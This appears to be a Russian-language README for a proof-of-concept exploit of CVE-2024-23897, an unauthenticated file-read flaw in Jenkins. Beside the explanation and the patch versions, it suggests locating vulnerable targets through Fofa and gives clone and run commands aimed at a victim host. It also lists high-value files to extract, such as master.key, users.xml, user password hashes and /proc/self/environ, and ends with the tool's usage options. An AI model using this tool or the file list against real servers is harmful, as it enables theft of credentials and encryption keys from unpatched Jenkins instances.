
POC - Уязвимость чтения файлов в Jenkins - CVE-2024-23897
CVE-2024-23897 — это критическая уязвимость в Jenkins, которая позволяет неаутентифицированным злоумышленникам читать произвольные файлы в файловой системе контроллера Jenkins. Эта ошибка возникает из-за неправильной обработки аргументов команд в библиотеке args4j, в частности, в операциях командной строки, где символ @, за которым следует путь к файлу, может привести к несанкционированному раскрытию содержимого файла.
Эта уязвимость представляет значительный риск, поскольку позволяет злоумышленникам получать доступ к конфиденциальной информации, такой как криптографические ключи и файлы конфигурации, которые могут быть использованы для дальнейшей эксплуатации, включая удаленное выполнение кода (RCE). Проблема особенно тревожна с учетом широкого использования Jenkins в конвейерах CI/CD и количества открытых экземпляров Jenkins по всему миру.
Исправление безопасности для этой уязвимости было выпущено в Jenkins версии 2.442 и новее, а также в Jenkins LTS версии 2.426.3 и новее. Пользователям настоятельно рекомендуется обновить свои установки Jenkins, чтобы снизить этот риск и защитить конфиденциальную информацию.
Читайте о нем — CVE-2024-23897
Отказ от ответственности: Этот Proof of Concept (POC) предназначен только для образовательных и этических целей тестирования. Использование этого инструмента для атаки на цели без предварительного взаимного согласия незаконно. Ответственность за соблюдение всех применимых местных, государственных и федеральных законов лежит на конечном пользователе. Разработчики не несут ответственности и не несут ответственности за любое неправомерное использование или ущерб, причиненный этой программой.
Для поиска потенциальных целей используйте Fofa (аналогично Shodan.io):
Затронутые версии Jenkins включают до 2.441 и до 2.426.2 для Jenkins LTS.
Клонируйте репозиторий:
git clone https://github.com/verylazytech/CVE-2024-23897
Запустите эксплойт:
python3 CVE-2024-23897.py -u <Victim_ip:port>

Введите файл, который хотите прочитать, в оболочку (в данном случае /etc/passwd):

Некоторые файлы, которые могут быть интересны:
/proc/self/environ Переменные окружения, включая JENKINS_HOME/proc/self/cmdline Аргументы командной строки/var/jenkins_home/users/users.xml Места хранения учетных записей пользователей/var/jenkins_home/users/<user_directory>/config.xml Хэш пароля пользователя BCrypt/var/jenkins_home/secrets/master.key Секретный ключ шифрования/etc/hosts Разрешение локальных DNS в Linux/etc/passwd Учетные записи пользователей Linuxusage: python3 CVE-2024-23897.py [-h] -u URL [-f FILE] [-t TIMEOUT] [-s] [-o] [-p PROXY] [-v]
options:
-h, --help show this help message and exit
-u URL, --url URL Jenkins URL
-f FILE, --file FILE File path to read
-t TIMEOUT, --timeout TIMEOUT
Request timeout
-s, --save Save file contents
-o, --overwrite Overwrite existing files
-p PROXY, --proxy PROXY
HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
-v, --verbose Verbosity enabled - additional output flag